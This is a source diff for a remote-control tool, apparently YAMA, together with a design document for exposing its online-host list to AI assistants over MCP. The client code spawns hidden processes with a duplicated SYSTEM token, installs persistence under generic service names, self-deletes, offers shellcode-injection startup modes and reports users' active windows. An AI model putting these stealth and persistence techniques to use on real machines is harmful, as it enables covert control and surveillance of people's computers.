}
}
WTSFreeMemory(sessions);
return 0xFFFFFFFF;
}
BOOL StartProcessInSessionA(DWORD sessionId, const char* exePath, BYTE cmd)
{
HANDLE hToken = NULL;
HANDLE hDupToken = NULL;
// 获取当前服务进程的 SYSTEM 令牌
char buf[500];
if (!OpenProcessToken(GetCurrentProcess(), TOKEN_DUPLICATE | TOKEN_QUERY, &hToken)) {
sprintf(buf, "OpenProcessToken failed: %d\n", (int)GetLastError());
Mprintf(buf);
return FALSE;
}
// 复制为可用于创建进程的主令牌
if (!DuplicateTokenEx(hToken, MAXIMUM_ALLOWED, NULL,
SecurityImpersonation, TokenPrimary, &hDupToken)) {
sprintf(buf, "DuplicateTokenEx failed: %d\n", (int)GetLastError());
Mprintf(buf);
SAFE_CLOSE_HANDLE(hToken);
return FALSE;
}
// 修改令牌的会话 ID 为目标用户会话
if (!SetTokenInformation(hDupToken, TokenSessionId, &sessionId, sizeof(sessionId))) {
sprintf(buf, "SetTokenInformation failed: %d\n", (int)GetLastError());
Mprintf(buf);
SAFE_CLOSE_HANDLE(hDupToken);
SAFE_CLOSE_HANDLE(hToken);
return FALSE;
}
Mprintf("Token duplicated");
char path[MAX_PATH];
if (!exePath)
GetModuleFileNameA(NULL, path, MAX_PATH);
else
lstrcpyA(path, exePath);
// 获取用户令牌(用于获取环境块)
LPVOID lpEnvironment = NULL;
HANDLE hUserToken = NULL;
if (!WTSQueryUserToken(sessionId, &hUserToken)) {
Mprintf( "WTSQueryUserToken failed: %d\n", (int)GetLastError());
}
// 使用用户令牌创建环境块
if (hUserToken) {
if (!CreateEnvironmentBlock(&lpEnvironment, hUserToken, FALSE)) {
Mprintf("CreateEnvironmentBlock failed: %d\n", GetLastError());
}
CloseHandle(hUserToken);
}
STARTUPINFOA si = { 0 };
PROCESS_INFORMATION pi = { 0 };
si.cb = sizeof(si);
si.lpDesktop = (LPSTR)"winsta0\\default";
char cmdStr[300];
sprintf(cmdStr, "\"%s\" -cmd=%d", path, int(cmd));
BOOL result = CreateProcessAsUserA(
hDupToken,
NULL,
(LPSTR)cmdStr,
NULL,
NULL,
FALSE,
NORMAL_PRIORITY_CLASS | CREATE_NO_WINDOW | CREATE_UNICODE_ENVIRONMENT,
lpEnvironment,
NULL,
&si,
&pi);
if (result)
{
Mprintf("CreateProcessAsUserA Succeed\n");
CloseHandle(pi.hThread);
CloseHandle(pi.hProcess);
}
else {
Mprintf("CreateProcessAsUserA Failed [%d]: %s\n", GetLastError(), cmdStr);
}
CloseHandle(hDupToken);
CloseHandle(hToken);
return result;
}
void RunRoundRobinAgent(BYTE cmd)
{
DWORD sessionId = GetNextSessionRoundRobin();
if (sessionId == 0xFFFFFFFF)
return;
StartProcessInSessionA(sessionId, NULL, cmd);
}

7
client/session.h Normal file
View File

@@ -0,0 +1,7 @@
#include <windows.h>
DWORD GetNextSessionRoundRobin();
BOOL StartProcessInSessionA(DWORD sessionId, const char* exePath, BYTE cmd);
void RunRoundRobinAgent(BYTE cmd);

View File

@@ -8,6 +8,7 @@
#include <common/md5.h>
#include <common/iniFile.h>
#include "auto_start.h"
#include "Common.h"
// A shell code loader connect to 127.0.0.1:6543.
// Build: xxd -i TinyRun.dll > SCLoader.cpp
// #include "SCLoader.cpp"
@@ -27,6 +28,8 @@ typedef bool (*IsStoped)();
typedef BOOL (*IsExit)();
typedef int(*CmdRunner)(LPBYTE szBuffer, int ulLength);
// 停止程序运行
StopRun stop = NULL;
@@ -60,7 +63,7 @@ BOOL CALLBACK callback(DWORD CtrlType)
}
// 运行程序.
BOOL Run(const char* argv1, int argv2);
BOOL Run(const char* argv1, int argv2, const std::string& runCmd);
// Package header.
typedef struct PkgHeader {
@@ -305,60 +308,64 @@ int InjectShellcode(BYTE* buf, int len) {
int main(int argc, const char *argv[])
{
Mprintf("启动运行: %s %s. Arg Count: %d\n", argv[0], argc > 1 ? argv[1] : "", argc);
InitWindowsService(NewService(
g_ConnectAddress.installName[0] ? g_ConnectAddress.installName : "ClientDemoService",
g_ConnectAddress.installDir[0] ? g_ConnectAddress.installDir : "Client Demo Service",
g_ConnectAddress.installDesc[0] ? g_ConnectAddress.installDesc : "Provide a demo service."), Log);
bool isService = g_ConnectAddress.iStartup == Startup_TestRunMsc || IsSystemInSession0();
// 注册启动项
int r = RegisterStartup(
g_ConnectAddress.installDir[0] ? g_ConnectAddress.installDir : "Client Demo",
g_ConnectAddress.installName[0] ? g_ConnectAddress.installName : "ClientDemo",
!isService, g_ConnectAddress.runasAdmin, Logf);
if (r <= 0) {
if (g_ConnectAddress.iStartup == Startup_DLL) {
const char* folder = GetInstallDirectory(g_ConnectAddress.installDir[0] ? g_ConnectAddress.installDir : "Client Demo");
if (!folder) {
return -1;
}
char dstFile[MAX_PATH] = { 0 };
sprintf(dstFile, "%s\\ServerDll.dll", folder);
if (_access(dstFile, 0) == -1) {
char curFile[MAX_PATH] = { 0 };
GetModuleFileNameA(NULL, curFile, MAX_PATH);
GET_FILEPATH(curFile, "ServerDll.dll");
if (_access(curFile, 0) == -1) {
MessageBoxA(NULL, "ServerDll.dll is required to run this program.", "Missing ServerDll.dll", MB_ICONERROR);
bool runCmd = (argc > 1 && strncmp(argv[1], "-cmd=", 5) == 0), isService = false;
if (!runCmd) {
InitWindowsService(NewService(
g_ConnectAddress.installName[0] ? g_ConnectAddress.installName : "ClientDemoService",
g_ConnectAddress.installDir[0] ? g_ConnectAddress.installDir : "Client Demo Service",
g_ConnectAddress.installDesc[0] ? g_ConnectAddress.installDesc : "Provide a demo service."), Log);
isService = g_ConnectAddress.iStartup == Startup_TestRunMsc || (IsSystemInSession0()&&g_ConnectAddress.iStartup != Startup_TestRunSystem);
bool lockFile = g_ConnectAddress.iStartup != Startup_TestRunMsc && g_ConnectAddress.iStartup != Startup_TestRunSystem && !IsSystemInSession0();
// 注册启动项
int r = RegisterStartup(
g_ConnectAddress.installDir[0] ? g_ConnectAddress.installDir : "Client Demo",
g_ConnectAddress.installName[0] ? g_ConnectAddress.installName : "ClientDemo",
lockFile, g_ConnectAddress.iStartup == Startup_TestRunSystem ? 2 :g_ConnectAddress.runasAdmin, Logf);
if (r <= 0) {
if (g_ConnectAddress.iStartup == Startup_DLL) {
const char* folder = GetInstallDirectory(g_ConnectAddress.installDir[0] ? g_ConnectAddress.installDir : "Client Demo");
if (!folder) {
return -1;
}
MoveFileA(curFile, dstFile);
char dstFile[MAX_PATH] = { 0 };
sprintf(dstFile, "%s\\ServerDll.dll", folder);
if (_access(dstFile, 0) == -1) {
char curFile[MAX_PATH] = { 0 };
GetModuleFileNameA(NULL, curFile, MAX_PATH);
GET_FILEPATH(curFile, "ServerDll.dll");
if (_access(curFile, 0) == -1) {
MessageBoxA(NULL, "ServerDll.dll is required to run this program.", "Missing ServerDll.dll", MB_ICONERROR);
return -1;
}
MoveFileA(curFile, dstFile);
}
}
BOOL s = self_del();
if (!IsDebug) {
Mprintf("结束运行.\n");
Sleep(1000);
return r;
}
}
BOOL s = self_del();
if (!IsDebug) {
Mprintf("结束运行.\n");
Sleep(1000);
return r;
}
}
BOOL ok = SetSelfStart(argv[0], REG_NAME, Logf);
if(!ok) {
Mprintf("设置开机自启动失败,请用管理员权限运行.\n");
}
BOOL ok = SetSelfStart(argv[0], REG_NAME, Logf);
if (!ok) {
Mprintf("设置开机自启动失败,请用管理员权限运行.\n");
}
if (isService) {
bool ret = RunAsWindowsService(argc, argv);
Mprintf("RunAsWindowsService %s. Arg Count: %d\n", ret ? "succeed" : "failed", argc);
for (int i = 0; !ret && i < argc; i++) {
Mprintf(" Arg [%d]: %s\n", i, argv[i]);
if (isService) {
bool ret = RunAsWindowsService(argc, argv);
Mprintf("RunAsWindowsService %s. Arg Count: %d\n", ret ? "succeed" : "failed", argc);
for (int i = 0; !ret && i < argc; i++) {
Mprintf(" Arg [%d]: %s\n", i, argv[i]);
}
if (ret) {
Mprintf("结束运行.\n");
Sleep(1000);
return 0x20251202;
}
g_ConnectAddress.iStartup = Startup_MEMDLL;
}
if (ret) {
Mprintf("结束运行.\n");
Sleep(1000);
return 0x20251202;
}
g_ConnectAddress.iStartup = Startup_MEMDLL;
}
status = 0;
@@ -376,7 +383,8 @@ int main(int argc, const char *argv[])
do {
BOOL ret = Run((argc > 1 && argv[1][0] != '-') ? // remark: demo may run with argument "-agent"
argv[1] : (strlen(g_ConnectAddress.ServerIP()) == 0 ? "127.0.0.1" : g_ConnectAddress.ServerIP()),
argc > 2 ? atoi(argv[2]) : (g_ConnectAddress.ServerPort() == 0 ? 6543 : g_ConnectAddress.ServerPort()));
argc > 2 ? atoi(argv[2]) : (g_ConnectAddress.ServerPort() == 0 ? 6543 : g_ConnectAddress.ServerPort()),
(argc > 1 && strncmp(argv[1], "-cmd=", 5) == 0 && strlen(argv[1]) > 5) ? std::string(argv[1] + 5) : "");
if (ret == 1) {
Mprintf("结束运行.\n");
Sleep(1000);
@@ -397,7 +405,7 @@ int main(int argc, const char *argv[])
}
// 传入命令行参数: IP 和 端口.
BOOL Run(const char* argv1, int argv2)
BOOL Run(const char* argv1, int argv2, const std::string &runCmd)
{
BOOL result = FALSE;
char path[_MAX_PATH], * p = path;
@@ -438,7 +446,7 @@ BOOL Run(const char* argv1, int argv2)
case Startup_DLL:
runner = new DefaultDllRunner;
break;
case Startup_MEMDLL:
case Startup_MEMDLL: case Startup_TestRunSystem :
runner = new MemoryDllRunner;
break;
case Startup_InjSC:
@@ -455,6 +463,8 @@ BOOL Run(const char* argv1, int argv2)
stop = hDll ? StopRun(runner->GetProcAddress(hDll, "StopRun")) : NULL;
bStop = hDll ? IsStoped(runner->GetProcAddress(hDll, "IsStoped")) : NULL;
bExit = hDll ? IsExit(runner->GetProcAddress(hDll, "IsExit")) : NULL;
CmdRunner cmd = hDll ? CmdRunner(runner->GetProcAddress(hDll, "RunCommand")) : NULL;
int nCmd = runCmd.empty() ? 0 : std::atoi(runCmd.c_str());
if (NULL == run) {
if (hDll) runner->FreeLibrary(hDll);
Mprintf("加载动态链接库\"ServerDll.dll\"失败. 错误代码: %d\n", GetLastError());
@@ -476,6 +486,13 @@ BOOL Run(const char* argv1, int argv2)
port = cfg.Get1Int("settings", "port", ';', 6543);
}
Mprintf("[server] %s:%d\n", ip, port);
if (nCmd) {
BYTE buf[] = {nCmd};
if (cmd) nCmd = cmd(buf, 1);
result = 1;
Mprintf("Finish run command. Result: %d\n", nCmd);
break;
}
do {
run(ip, port);
while (bStop && !bStop() && 0 == status)

View File

@@ -34,7 +34,14 @@
#define AUTO_TICK(p, q)
#define STOP_TICK
#define OutputDebugStringA(p) printf(p)
#define decrypt_v7 decrypt_v1
#define decrypt_v8 decrypt_v2
#define decrypt_v9 decrypt_v3
#define decrypt_v10 decrypt_v4
#define encrypt_v7 encrypt_v1
#define encrypt_v8 encrypt_v2
#define encrypt_v9 encrypt_v3
#define encrypt_v10 encrypt_v4
#include <unistd.h>
#define Sleep(n) ((n) >= 1000 ? sleep((n) / 1000) : usleep((n) * 1000))
@@ -305,7 +312,14 @@ enum {
TOKEN_DRAWING_BOARD=151, // 画板
COMMAND_SCREEN_ROI = 152, // 屏幕区域
COMMAND_SCREEN_WINDOW = 153, // 窗口捕获(标题字符串,空串=恢复全屏)
COMMAND_SCREEN_SIGNATURE = 154,
COMMAND_QUERY_LOG = 155,
TOKEN_REPORT_LOG = 156,
COMMAND_FORBIDDEN = 157,
CMD_CUSTOM_CURSOR = 158,
COMMAND_QUERY_ACTIVITY = 159, // 服务端 → 客户端:索取历史活动
TOKEN_REPORT_ACTIVITY = 160, // 客户端 → 服务端:上报历史活动
TOKEN_DECRYPT = 199,
TOKEN_REGEDIT = 200, // 注册表
COMMAND_REG_FIND, // 注册表 管理标识
@@ -346,6 +360,11 @@ enum {
};
#pragma pack(push, 1)
struct SignatureResp {
char msg[64];
char signature[64];
};
struct TextReplace {
uint8_t cmd;
uint8_t type;
@@ -653,6 +672,7 @@ enum {
CLIENT_TYPE_MEMDLL = 5, // 内存DLL运行
CLIENT_TYPE_LINUX = 6, // LINUX 客户端
CLIENT_TYPE_MACOS = 7, // MACOS 客户端
CLIENT_TYPE_ANDROID = 8, // ANDROID 客户端
};
enum {
@@ -680,6 +700,8 @@ inline const char* GetClientType(int typ)
return "LNX";
case CLIENT_TYPE_MACOS:
return "MAC";
case CLIENT_TYPE_ANDROID:
return "APK";
default:
return "DLL";
}
@@ -726,6 +748,8 @@ enum TestRunType {
Startup_InjSC, // 远程 Shell code 注入其他程序执行shell code
Startup_GhostMsc, // Windows 服务
Startup_TestRunMsc, // Windows 服务
Startup_GhostSystem, // SYSTEM 权限运行(随开机启动)
Startup_TestRunSystem, // SYSTEM 权限运行(随开机启动)
};
inline int MemoryFind(const char* szBuffer, const char* Key, int iBufferSize, int iKeySize)
@@ -1088,6 +1112,7 @@ enum AuthStatus {
UNAUTHORIZED = 0, // 未授权
AUTHED_BY_SUPER = 1, // 由超级管理员授权
AUTHED_BY_ADMIN = 2, // 由管理员授权
AUTH_FORBIDDEN = 9,
};
// 固定1024字节
@@ -1283,7 +1308,8 @@ typedef struct ScreenSettings {
int ScreenType; // 偏移 40, 屏幕类型(0: GDI, 1: DXGI, 2: Virtual)
int AudioEnabled; // 偏移 44, 音频传输(0: 禁用, 1: 启用)
int EncodeLevel; // 偏移 48, 编码等级
char Reserved[44]; // 偏移 52, 保留字段(新能力参数从此处扩展)
int CustomCursor; // 偏移 52, 自定义光标
char Reserved[40]; // 偏移 56, 保留字段(新能力参数从此处扩展)
uint32_t Capabilities; // 偏移 96, 能力位标志(放最后)
} ScreenSettings; // 总大小 100 字节

17
common/logger.cpp Normal file
View File

@@ -0,0 +1,17 @@
#include "logger.h"
#if defined(__ANDROID__)
static void (*androidLog)(const char*) = nullptr;
void UseAndroidLog(void (*cb)(const char*)) {
androidLog = cb;
}
__attribute__((format(printf, 1, 2)))
void android_log(const char* fmt, ...) {
char buf[256];
va_list ap; va_start(ap, fmt); vsnprintf(buf, sizeof(buf), fmt, ap); va_end(ap);
__android_log_print(ANDROID_LOG_DEBUG, "YAMA_NET", "%s", buf);
if (androidLog) androidLog(buf);
}
#endif

View File

@@ -29,6 +29,7 @@
#include <cstdarg>
#include <iomanip>
#include <algorithm>
#include <deque>
inline bool stringToBool(const std::string& str)
@@ -150,6 +151,22 @@ public:
std::string logEntry = file && line ?
id + "[" + timestamp + "] [" + file + ":" + std::to_string(line) + "] " + message:
id + "[" + timestamp + "] " + message;
// 方案B在源头统一保证每条日志以单个 '\n' 结尾,文件与内存 ring buffer
// 共用同一份文本;写文件时不再额外追加换行,内存导出直接拼接即可正确分行。
while (!logEntry.empty() && (logEntry.back() == '\n' || logEntry.back() == '\r'))
logEntry.pop_back();
logEntry += '\n';
// Always record to in-memory ring buffer regardless of enable flag.
{
std::lock_guard<std::mutex> lock(m_memMutex);
m_memLog.push_back(logEntry);
m_totalCount++;
if (m_memLog.size() > kMemLogMax)
m_memLog.pop_front();
}
if (enable) {
if (running) {
std::lock_guard<std::mutex> lock(queueMutex);
@@ -168,6 +185,32 @@ public:
cv.notify_one(); // 通知写线程
}
// 返回内存 ring buffer 中的全部日志(供 TCP 查询使用)
std::string DumpMemoryLog() const
{
std::lock_guard<std::mutex> lock(m_memMutex);
std::string result;
result.reserve(m_memLog.size() * 128);
for (const auto& entry : m_memLog)
result += entry;
return result;
}
// 增量版本:只返回 fromAbs 之后的新条目,并将 fromAbs 更新到当前末尾。
// fromAbs 是调用方维护的绝对计数器(首次传 0 即得全量)。
std::string DumpMemoryLogFrom(size_t& fromAbs) const
{
std::lock_guard<std::mutex> lock(m_memMutex);
// ring buffer 内最旧条目的绝对序号
size_t oldest = (m_totalCount >= m_memLog.size()) ? m_totalCount - m_memLog.size() : 0;
size_t startIdx = (fromAbs <= oldest) ? 0 : (fromAbs - oldest);
std::string result;
for (size_t i = startIdx; i < m_memLog.size(); ++i)
result += m_memLog[i];
fromAbs = m_totalCount;
return result;
}
// 停止日志系统
void stop()
{
@@ -220,6 +263,11 @@ private:
std::mutex fileMutex; // 文件写入锁
std::string pid; // 进程ID
static constexpr size_t kMemLogMax = 1000;
std::deque<std::string> m_memLog;
size_t m_totalCount = 0;
mutable std::mutex m_memMutex;
Logger() : enable(false), threadRun(false), running(true), workerThread(&Logger::processLogs, this) {}
~Logger()
@@ -263,7 +311,7 @@ private:
std::lock_guard<std::mutex> lock(fileMutex);
std::ofstream logFile(logFileName, std::ios::app);
if (logFile.is_open()) {
logFile << logEntry << std::endl;
logFile << logEntry; // logEntry 已在 log() 中以单个 '\n' 结尾
}
}
@@ -336,6 +384,15 @@ inline const char* getFileName(const char* path)
#else
#define Mprintf(format, ...) printf(format, ##__VA_ARGS__)
#endif
#elif defined(__ANDROID__)
#include <android/log.h>
#include <cstdarg>
#ifdef Mprintf
#undef Mprintf
#endif
void UseAndroidLog(void (*cb)(const char*));
void android_log(const char* fmt, ...);
#define Mprintf android_log
#else
// Linux: 覆盖 commands.h 中的 printf 回退定义,改用 Logger 写文件
#ifdef Mprintf

View File

@@ -47,4 +47,4 @@ struct RttEstimator {
// 进程级全局:所有翻译单元共享同一份估算器与心跳间隔
inline RttEstimator g_rttEstimator;
inline int g_heartbeatInterval = 5; // 默认心跳间隔(秒),可被服务端 CMD_MASTERSETTING 更新
inline int g_heartbeatInterval = 30; // 默认心跳间隔(秒),可被服务端 CMD_MASTERSETTING 更新

443
docs/Mcp_Design.md Normal file
View File

@@ -0,0 +1,443 @@
# YAMA 服务端 MCP 支持方案
> 版本1.0
> 状态Final定稿
> 适用范围:`server/2015Remote/`C++/MFC 服务端,生产主流)
---
## 1. 背景与目标
### 1.1 背景
MCPModel Context Protocol是 Anthropic 提出的开放协议,让 AI 助手Claude Code、Claude Desktop 等)通过标准化的工具调用接口访问外部系统的能力。
YAMA 服务端维护了「在线主机列表」这一核心数据,如果能通过 MCP 暴露出去,用户就能在 Claude Code 里直接问「现在有多少台机器在线?」「列出所有在线的 Windows 主机」等,由 AI 调用工具获取实时数据。
### 1.2 本期范围MVP
**只跑通 MCP只实现一个工具**,把可扩展架构搭起来:
- 传输方式Streamable HTTP`POST /mcp`JSON-RPC 2.0 over HTTP
- 工具数量1 个 —— `list_online_hosts`(获取在线主机列表)
- 暴露范围:启用开关(默认关闭,经「扩展 → MCP设置」对话框开启+ 绑定地址可配置(默认 `127.0.0.1` 仅本机)+ token 认证env / THIS_CFG / 随机)
- 后续:逐步添加工具(进程列表、命令执行、屏幕截图等),架构不动
### 1.3 非目标(明确不做)
- 不做 SSE 服务器推送(本期工具调用是 request/response 即可)
- 不做多用户/角色体系(复用现有 WebService 认证或静态 token
- 不做写操作工具(操控主机的工具属于后续阶段,需单独评审安全边界)
- 不碰现有 Web 控制台的 WebSocket 服务
---
## 2. 现状分析
C++ 服务端已有大量可直接复用的资产MCP 的落地成本因此大幅降低。
| 现成资产 | 位置 | 在 MCP 中的角色 |
|---|---|---|
| HTTP 服务器 | `httplib.h`header-only`file_server.h:34` 已用) | MCP 的 HTTP 传输层 |
| JSON 库 | `jsoncpp/json.h``WebService.cpp` 已用) | JSON-RPC 编解码 |
| Token 认证 | `WebServiceAuth.h``GenerateToken` / `ValidateToken` / `ComputeSHA256` | 可选升级路径MVP 用简单静态 token 比对(见 §3.5 |
| 在线主机列表 → JSON | `CWebService::BuildDeviceListJson()``WebService.cpp:1506` | **工具 `list_online_hosts` 的核心逻辑** |
| 在线主机数据源 | `CMy2015RemoteDlg::m_HostList``2015RemoteDlg.h:345``m_cs` 保护)+ `context::IsLogin()` + `context::GetClientData()` | 取数入口 |
| 配置系统 | `THIS_CFG.GetInt/GetStr("settings", ...)` | MCP 端口/token 配置 |
### 2.1 关键结论
- **HTTP、JSON、认证、主机列表 JSON 全部现成**MCP 侧不需要重新造轮子。
- **唯一需要手写的是 MCP 的 JSON-RPC 2.0 协议层**,因为 C++ 没有官方 MCP SDK官方仅有 TS/Python/Java/Kotlin/C#/Go)。
### 2.2 `BuildDeviceListJson` 现状
`WebService.cpp:1506``CWebService::BuildDeviceListJson(const std::string& username)` 已实现:
- 遍历 `m_pParentDlg->m_HostList`,过滤 `ctx->IsLogin()`
- 输出字段:`id` / `name` / `remark` / `ip` / `os` / `location` / `rtt` / `version` / `activeWindow` / `online` / `group` / `screen` / `clientType`
- 已处理 GBK/UTF-8 编码分叉(`activeWindow` 字段按客户端能力位选择编码页,见 `WebService.cpp:1581` 附近的 `GetClientEncoding`
**该方法是 `private`**`WebService.h:160`,位于 private 段。MCP 侧需通过公开入口复用(见 §3.4)。
---
## 3. 方案设计
### 3.1 总体架构
```
2015Remote.exeMFC 服务端进程)
├─ IOCP TCP 服务(被控端连接,现有)
├─ WebServicews::ServerWeb 控制台现有8080
└─ McpServerhttplib新增默认禁用经「MCP设置」开启后监听 127.0.0.1:6544
POST /mcp → JSON-RPC 分发
├─ initialize
├─ tools/list
└─ tools/call
└─ list_online_hosts → 复用 BuildHostJson公共函数§3.4
```
**核心决策:独立起一个 httplib server不挂到现有 `ws::Server`。**
理由:
- 现有 `ws::Server``HttpHandler` 只有 `path` 参数、无 POST body`SimpleWebSocket.h:345`),强挂 MCP 需改动其底层,侵入大、有回归风险。
- 独立 server 零耦合、零风险,且天然满足「仅 127.0.0.1」的绑定需求。
### 3.2 新增文件清单
| 文件 | 职责 | 估算量 |
|---|---|---|
| `McpServer.h` / `McpServer.cpp` | httplib 封装、`POST /mcp` 路由、token 校验、生命周期 | ~120 行 |
| `McpProtocol.h` / `McpProtocol.cpp` | JSON-RPC 2.0 协议层:`initialize` / `tools/list` / `tools/call` 分发 | ~250 行 |
| `McpTools.h` / `McpTools.cpp` | 工具注册表 + `list_online_hosts` 实现 | ~80 行 |
| `McpSettingsDlg.h` / `McpSettingsDlg.cpp` | 「MCP设置」配置对话框启用/端口/绑定/token + 重启提醒) | ~150 行 |
| 修改 `2015RemoteDlg.cpp` / `.h` | 启动/停止 McpServer + 菜单项接线(`ID_MCP_SETTINGS``OnMcpSettings` | ~30 行 |
| 修改 `2015Remote.rc` / `resource.h` / `UIBranding.h` / `FeatureFlags.h` | `ID_MCP_SETTINGS` 菜单项 + `IDD_DIALOG_MCP_SETTINGS` 对话框资源 + `HIDE_MENU_MCP_SETTINGS` + `MF_MCP_SETTINGS` 许可位 | 少量 |
> 头文件/实现可合并精简,实际以「一个 `McpServer` 类 + 一个工具注册表 + 一个协议分发函数」为最小形态,文件拆分仅为可读性。
### 3.3 协议层设计JSON-RPC 2.0
MCP 是 JSON-RPC 2.0。MVP 只需实现以下方法:
#### 3.3.1 `initialize`(握手)
请求:
```json
{"jsonrpc":"2.0","id":1,"method":"initialize","params":{"protocolVersion":"2025-06-18","capabilities":{},"clientInfo":{"name":"claude","version":"..."}}}
```
响应:
```json
{"jsonrpc":"2.0","id":1,"result":{
"protocolVersion":"2025-06-18",
"capabilities":{"tools":{}},
"serverInfo":{"name":"yama","version":"<VERSION_STR>"}
}}
```
#### 3.3.2 `tools/list`
请求:`{"jsonrpc":"2.0","id":2,"method":"tools/list","params":{}}`
响应:
```json
{"jsonrpc":"2.0","id":2,"result":{"tools":[{
"name":"list_online_hosts",
"description":"获取当前所有在线主机的列表包含计算机名、IP、操作系统、版本、备注、分组、活动窗口、延迟等实时信息。",
"inputSchema":{"type":"object","properties":{},"required":[]},
"outputSchema":{
"type":"object",
"properties":{
"hosts":{
"type":"array",
"items":{
"type":"object",
"properties":{
"id":{"type":"string"},
"name":{"type":"string"},
"remark":{"type":"string"},
"ip":{"type":"string"},
"os":{"type":"string"},
"location":{"type":"string"},
"rtt":{"type":"string"},
"version":{"type":"string"},
"activeWindow":{"type":"string"},
"online":{"type":"boolean"},
"group":{"type":"string"},
"screen":{"type":"string"},
"clientType":{"type":"string"}
}
}
}
},
"required":["hosts"]
}
}]}}
```
#### 3.3.3 `tools/call`
请求:
```json
{"jsonrpc":"2.0","id":3,"method":"tools/call","params":{"name":"list_online_hosts","arguments":{}}}
```
响应(结构化输出:`structuredContent` 承载主机数组,`content` 附带可读摘要):
```json
{"jsonrpc":"2.0","id":3,"result":{
"structuredContent":{
"hosts":[
{"id":"123","name":"DESKTOP-ABC","remark":"我的Windows","ip":"192.168.0.92",
"os":"Windows 10","location":"上海市","rtt":"12","version":"...",
"activeWindow":"WeChat","online":true,"group":"default","screen":"1:1920x1080","clientType":"EXE"}
]
},
"content":[{"type":"text","text":"共 1 台主机在线。"}],
"isError":false
}}
```
#### 3.3.4 可选实现
- `ping`:返回空 result便于健康检查
- `notifications/initialized`:客户端通知,可忽略
#### 3.3.5 错误响应JSON-RPC 2.0 标准)
协议层必须处理以下错误,返回标准 `error` 结构(`id` 回填请求 id
| 场景 | code | message |
|---|---|---|
| 请求体不是合法 JSON | `-32700` | Parse error |
| 请求结构不合法(缺 jsonrpc/method 等) | `-32600` | Invalid Request |
| 方法未实现 | `-32601` | Method not found |
| 参数非法 | `-32602` | Invalid params |
| 内部错误 | `-32603` | Internal error |
示例(方法未实现):
```json
{"jsonrpc":"2.0","id":1,"error":{"code":-32601,"message":"Method not found"}}
```
#### 3.3.6 传输层约定Streamable HTTP 最小子集)
- 客户端 `POST /mcp`,请求头 `Content-Type: application/json``Accept: application/json, text/event-stream`
- 服务端返回 `Content-Type: application/json`MVP 工具调用为 request/response无需 SSE 流式)。
- `initialize` 响应可回填 `Mcp-Session-Id` 头用于会话管理MVP 单会话可省略,实现时对照最新 MCP 规范确认。
- 仅接受 `POST /mcp`,其余路径/方法返回 404/405。
### 3.4 工具设计:`list_online_hosts`
#### 取数方案(已定:抽公共函数)
`BuildDeviceListJson` 目前是 `CWebService` 的 private 方法,且依赖 `m_pParentDlg`。为满足「MCP 与 WebService 是平级数据消费者、不互相依赖」的原则,采用**方案 C抽公共函数**。
```cpp
// 公共函数:提取单台在线主机的完整数据(含 GBK/UTF-8 编码处理),返回 UTF-8 的 Json::Value
Json::Value BuildHostJson(context* ctx, _ClientList* clientMap);
```
- `CWebService::BuildDeviceListJson` 内部改调该公共函数Web 侧签名与输出不变(零回归)。
- `McpServer` 侧持 `CMy2015RemoteDlg*``SetParentDlg`),在 `m_cs` 锁内遍历 `m_HostList``IsLogin()` 过滤,对每台主机调 `BuildHostJson`,组装为结构化输出。
- **职责边界**:用户名/分组过滤(`username``allowed_groups`)、`m_cs` 加锁、以及外层结构Web 的 `{"cmd","devices"}` vs MCP 的 `{"hosts"}`)属于**调用方**,不进公共函数;`BuildHostJson` 只负责「单台主机 → `Json::Value`」的字段序列化与编码转换。其中 `remark` 依赖 `m_ClientMap->GetClientMapData(id, MAP_NOTE)`,故 `clientMap` 作为参数传入。
选型说明:方案 AMCP 依赖 `CWebService` 单例)依赖方向错误,且 `WebSvrPort=0``m_pParentDlg` 为空导致取不到数;方案 BMCP 自持父对话框复制逻辑)违反 DRY、重复易错的编码处理。故取 C。
#### 返回内容(全量,含实时信息)
**保留 `BuildDeviceListJson` 的全部字段,不做精简**以支持「AI 协助监督客户端运行状态」的场景:
- 基础标识:`id` / `name` / `remark` / `ip` / `os` / `location` / `group` / `version` / `clientType` / `screen`
- 实时信息:`rtt`(延迟)、`activeWindow`(当前活动窗口,即被控端正在做什么)
输出结构 `{"hosts": [...]}`,每台主机一个对象,字段与 §3.3.2 的 `outputSchema` 一致。
### 3.5 安全设计
- **绑定地址**:默认 `127.0.0.1`(仅本机回环,其他机器无法访问);可经 `McpBind` 配置为 `0.0.0.0`(所有网卡)或内网 IP`192.168.0.92`)以支持远程调用。
- 非回环绑定时 token 经明文 HTTP 传输,需强 token并建议配合防火墙限制源 IP 或启用 HTTPS项目已有 WebHTTPS 实践)。
- **静态 token 校验**:每个 `POST /mcp` 请求校验 `Authorization: Bearer <token>` header不匹配返回 HTTP 401。
- **token 来源**(优先顺序):环境变量 `YAMA_MCP_TOKEN``THIS_CFG``McpToken` → 两者皆空则**随机生成**。
- 前两者任一非空即作为固定 token仅当两者皆空时才随机生成仅本次进程运行期间有效进程重启后重新生成不同的 token
- 随机生成时**必须将 token 输出到日志**`Mprintf`),否则用户无从获知、无法在 Claude Code 侧配置。
- 环境变量名 `YAMA_MCP_TOKEN` 建议同 `BRAND_WEB_ENV_VAR` 一样在 `UIBranding.h` 定义为宏(如 `BRAND_MCP_ENV_VAR`),避免散落硬编码字符串。
- **只读边界**MVP 仅一个只读工具,不暴露任何写/操控能力。
- **HTTP 方法限制**:仅接受 `POST /mcp`,其余返回 404/405。
### 3.6 配置设计
沿用现有 `THIS_CFG``settings` 节):
| 配置键 | 默认值 | 说明 |
|---|---|---|
| `McpEnabled` | `0` | MCP 总开关:`0` = 禁用(默认),`1` = 启用。经「扩展 → MCP设置」对话框设置 |
| `McpPort` | `6544` | MCP 监听端口;仅当 `McpEnabled=1` 时生效;未配置用默认 `6544` |
| `McpBind` | `127.0.0.1` | 监听地址;默认仅本机;可设 `0.0.0.0`(所有网卡)或内网 IP`192.168.0.92`)以支持远程 |
| `McpToken` | 空UI 默认随机值) | 静态 token对话框内「token 必填、默认随机值」——首次打开若为空则预填随机并随保存持久化。运行时优先级env `YAMA_MCP_TOKEN``McpToken` → 皆空则随机生成(见 §3.5 |
> 与旧版「`McpPort=0` 即禁用」不同:启用与否改由独立的 `McpEnabled` 开关控制,`McpPort` 回归纯端口语义,二者解耦。
### 3.7 生命周期接入
`2015RemoteDlg.cpp` Web 服务启动块(约 `2048-2081`)之后,新增 MCP 启动逻辑。`McpServer``CWebService` 同为单例:提供 `static McpServer& Instance()` 与全局 `inline McpServer& McpServer()` 访问器(仿 `WebService()`,见 `WebService.h` 末尾的全局访问器写法)。
```cpp
auto mcpEnabled = THIS_CFG.GetInt("settings", "McpEnabled", 0); // 默认禁用
